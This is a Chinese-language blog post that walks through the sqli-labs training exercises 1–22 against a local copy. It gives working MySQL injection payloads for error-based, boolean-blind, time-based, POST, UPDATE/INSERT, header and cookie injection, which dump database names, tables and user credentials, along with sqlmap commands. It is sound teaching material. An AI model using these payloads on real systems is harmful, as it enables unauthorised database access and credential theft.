Yoga7xm's Blog

sqli-lab(1-22)

字数统计: 2.7k阅读时长: 13 min
2018/11/30 Share

0x00 前言

岁月是一场有去无回的旅行,好的坏的都是风景

十一月的最后一天了,明天就是2018年最后的月份了,光阴似箭,感慨万千。趁着周末,撸下Mysql手工注入,加深SQL注入的理解。

0x01 报错注入

Less-1

打开网页,传入一个id=1发现有显示,于是尝试构造payload

1
2
3
http://localhost/sqli/Less-1/index.php?id=1' and 1=1--+  //不报错

http://localhost/sqli/Less-1/index.php?id=1' and 1=2--+ //报错

于是说明存在字符型注入,于是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
爆出字段数
http://localhost/sqli/Less-1/index.php?id=1 order by 3--+

爆出回显的字段
http://localhost/sqli/Less-1/index.php?id=-1' union select 1,2,3 --+

爆出数据库
http://localhost/sqli/Less-1/index.php?id=-1' union select 1,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),3 --+

爆出security表名
http://localhost/sqli/Less-1/index.php?id=-1' union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7365637572697479),3 --+

爆出users列名
http://localhost/sqli/Less-1/index.php?id=-1' union select 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),3 --+

爆出username,password值
http://localhost/sqli/Less-1/index.php?id=-1' union select 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+security.users),3 --+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-1/index.php?id=1" --dbs

Less-2

直接尝试整数型注入,成功

payload: http://localhost/sqli/Less-2/?id=1 and 1=1--+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-2/index.php?id=1" --dbs

Less-3

加上单双引号测试均失败,根据回显的错误

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"') LIMIT 0,1' at line 1

构造的payload:http://localhost/sqli/Less-3/?id=1') and 1=1--+

Sqlmap 利用:

1
python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-3/index.php?id=1" --dbs

Less-4

同样根据回显的错误信息,

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

构造的payload:http://localhost/sqli/Less-4/?id=1") and 1=1 --+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://192.168.1.161/sqli/Less-4/index.php?id=1" --dbs

0x02 盲注

Less-5

尝试了?id=1'单双引号均无回显,可能是bool型注入

于是payload:http://localhost/sqli/Less-5/?id=1' and 1=1--+

盲注利用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1.逐步依次测试 数据库长度
http://192.168.1.248/sqli/Less-5/?id=2' and length(database())=8--+ 返回正常 说明有8位

2.猜解数据库中的当前库名
http://localhost/sqli/Less-5/?id=2' and substr(database(),1,1)>'s'--+  直到此报错 说明第一个字符是s
http://localhost/sqli/Less-5/?id=2' and substr(database(),2,1)>'e'--+  直到此报错 说明第二个字符是e
  .......
http://localhost/sqli/Less-5/?id=2' and substr(database(),8,1)>'y'--+  直到此报错 说明第八个字符是y 
综上 dabase() 为 security

3.猜解数据库中的表名 逐个猜解
http://localhost/sqli/Less-5/?id=2' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+

4.猜解数据库中的列名 逐个猜解
http://localhost/sqli/Less-5/?id=2' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+
获取得到password 和 username 列名

5.猜解数据库数据  逐个猜解
http://localhost/sqli/Less-5/?id=2' and (ascii(substr((select username from users limit 0,1),1,1)))=68 --+ 
说明username 第一个为D 逐个猜解

也可利用burp进行辅助注入,从65-122 依次爆破

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://localhost/sqli/Less-5/index.php?id=1" --dbs

Less-6

与上面类似同样是bool盲注,只不过利用了双引号。

payload:http://localhost/sqli/Less-6/?id=1" and 1=12--+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://localhost/sqli/Less-6/index.php?id=1" --dbs

Less-7

尝试?id=1')) and 1=12--+发现报错,同样为bool盲注

payload:http://localhost/sqli/Less-7/?id=1')) and 1=1--+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://localhost/sqli/Less-7/index.php?id=1" --technique B --dbms mysql --batch -v 0

Less-8

bool盲注,尝试单引号成功

payload: http://localhost/sqli/Less-8/?id=1' and 1=1--+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://localhost/sqli/Less-8/index.php?id=1" --technique B --dbms mysql --batch -v 0

Less-9

在使用’ “ 等均无反应时 尝试基于时间的注入      

payload:http://localhost/sqli/Less-9/?id=1' and if(1=1,sleep(5),0)--+

利用方式大致与less 5 类似,只是反馈查询正确的方式不同 ,如果查询结果为true将会延时5秒

1
http://localhost/sqli/Less-9/?id=1' and if((length(database())=8),sleep(5),0)--+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://localhost/sqli/Less-9/index.php?id=1" --technique T --dbms mysql --batch -v 0

Less-10

尝试利用双引号,页面响应延迟,存在时间延迟型注入

payload:http://localhost/sqli/Less-10/?id=1" and if(1=1,sleep(5),0) --+

sqlmap 利用:

1
python2.7 sqlmap.py -u "http://localhost/sqli/Less-10/index.php?id=1" --technique T --dbms mysql --batch -v 0

0x03 Post 注入

Less-11

Burp抓包后,开始尝试了uname=admin' and 1=1 --+&passwd=admin&submit=Submit就登录成功了,而且是基于报错的注入

sqlmap 利用:

1
python2.7 sqlmap.py -r post.txt -p uname --dbs

Less-12

依次尝试’ “ 无果后 尝试’) “) 发现后者有效,同样是基于报错的注入

payload:uname=admin") and 1=1 --+&passwd=1&submit=Submit

Less-13

尝试单双引号之后,发现报错:

1
You have an error in your SQL syntax; check the manual that corresponds to  your MySQL server version for the right syntax to use near '1') LIMIT  0,1' at line 1

payload:uname=admin') and 1=1--+&passwd=admin&submit=Submit

但是登录后并不存在回显,故为bool盲注

利用盲注方法进行猜解:

1
uname=admin') and substr(database(),1,1)>'a'--+&passwd=admin&submit=Submit

sqlmap 利用:

1
python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0

Less-14

测试至” 发现成功,但也是盲注型。

payload:uname=admin" and 1=1--+&passwd=1&submit=Submit

sqlmap 利用:

1
python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0

Less-15

简单尝试单引号,发现测试登录成功

payload:uname=admin' or 1=1--+&passwd=1&submit=Submit

sqlmap 利用:

1
python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0

Less-16

测试过单双引号无果,尝试简单变形,发现成功登录,无回显

payload: uname=admin") and 1=1 --+&passwd=1&submit=Submit

sqlmap 利用:

1
python2.7 sqlmap.py -r post.txt -p uname --technique E --dbms mysql --batch -v 0

Less-17 (update 注入)

查看了下源码,部分关键源码:

1
2
3
4
5
6
//echo '<font color= "#0000ff">';	
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

发现可能是update注入,于是爆库payload:

1
uname=admin&passwd=1' or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+&submit=Submit

利用方式:

1.爆表:

1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1)#&submit=Submit

回显:XPATH syntax error: '~emails,referers,uagents,users~'

2.爆列名:

1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1)--+&submit=Submit

3.爆数据:

1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username from users)b limit 0,1),0x7e),1)#&submit=Submit

sqlmap 利用

1
python2.7 sqlmap.py -r post.txt -p passwd --dbs

Less-18 (insert 注入)

打开发现,Your IP ADDRESS is: 127.0.0.1 ,感觉像是header头部注入,但是一直没找见注入点,于是查看源码发现,得登陆成功然后在User-Agent头部可以进行注入。

部分关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";

}

于是构造爆库payload:

1
User-Agent: lalala' and (extractvalue('a',concat('~',(select database())))))#

1.爆表:

1
User-Agent: lalala' and (extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)))))#

2.爆列名:

1
User-Agent: lalala' and (extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) ))#

3.爆数据:

1
User-Agent: lalala' and (extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) ))#

sqlmap 利用:

1
2
在http请求头的user-agent内容后面加上一个*号
python2.7 sqlmap.py -r post.txt --user-agent "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0" --tech E --dbms mysql --batch -v 0

Less-19

打开与上题套路类似,登录成功进去,给出referer头,于是猜测可能是referfer注入

而且还是报错型的,payload:Referer: abc')#

利用方式与上题类似、

sqlmap 利用:

1
2
在http请求头的referer内容后面加上一个*号
python2.7 sqlmap.py -r post.txt --referer 127.0.0.1 --tech E --dbms mysql --batch -v 0

Less-20

打开尝试输入正确账密登陆进去,发现一大堆回显,点击 delete 按钮,抓包修改cookie值

报错to use near ''admin'' LIMIT 0,1' at line 1,

于是构造爆库payload:Cookie: uname=admin')#

爆库:

Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #

发现回显XPATH syntax error: '~security~',于是和上题一样利用

sqlmap 利用:

1
python2.7 sqlmap.py -r post.txt --cookie uname=admin --tech E --dbms mysql --batch -v 0

Less-21

这题套路跟上题相似,唯一不同的就是,cookie使用了base64编码。

于是将上题的payload进行base64编码下即可:

编码前:

1
Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) )#

编码后:

1
Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpICkj

sqlmap 利用:

1
python2.7 sqlmap.py -r post.txt --cookie uname=YWRtaW4%3D --tech E --dbms mysql --tamper base64encode.py --batch -v 0

Less-22

与上些题类似,只需改为双引号即可。payload为:

1
2
3
4
编码前:
Cookie: uname=admin" and updatexml(1,concat(0x7e,database(),0x7e),1) #
编码后:
Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpICM=

sqlmap 利用:

1
python2.7 sqlmap.py -r --cookie uname=YWRtaW4= --tech E --dbms mysql --tamper base64encode.py --batch -v 0

0x04 后记

注入目前主要分为:

  • 报错型,根据回显构造payload,使用特定函数得到信息
  • 布尔型盲注,根据回显值的不同,一步一步猜解ASCII码得到信息
  • 时间盲注,与布尔型盲注类似,只不过通过页面响应时间来判断正确与否,一般通过py脚本利用
  • update、insert等注入,通过利用xpath报错使用特点函数得到信息

一下子搞了这么多SQL注入,而这仅仅是作为mysql数据库而言,突然感觉sqlmap真不愧为神器,有时间一定要追下源码。明天继续一波。 goSpurgo!!!

十一月再见,十二月你好 !!

0x05 Refence

sqli-labs Less

利用insert,update和delete注入获取数据 – luwikes

CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 报错注入
    1. 2.1. Less-1
    2. 2.2. Less-2
    3. 2.3. Less-3
    4. 2.4. Less-4
  3. 3. 0x02 盲注
    1. 3.1. Less-5
    2. 3.2. Less-6
    3. 3.3. Less-7
    4. 3.4. Less-8
    5. 3.5. Less-9
    6. 3.6. Less-10
  4. 4. 0x03 Post 注入
    1. 4.1. Less-11
    2. 4.2. Less-12
    3. 4.3. Less-13
    4. 4.4. Less-14
    5. 4.5. Less-15
    6. 4.6. Less-16
    7. 4.7. Less-17 (update 注入)
    8. 4.8. Less-18 (insert 注入)
    9. 4.9. Less-19
    10. 4.10. Less-20
    11. 4.11. Less-21
    12. 4.12. Less-22
  5. 5. 0x04 后记
  6. 6. 0x05 Refence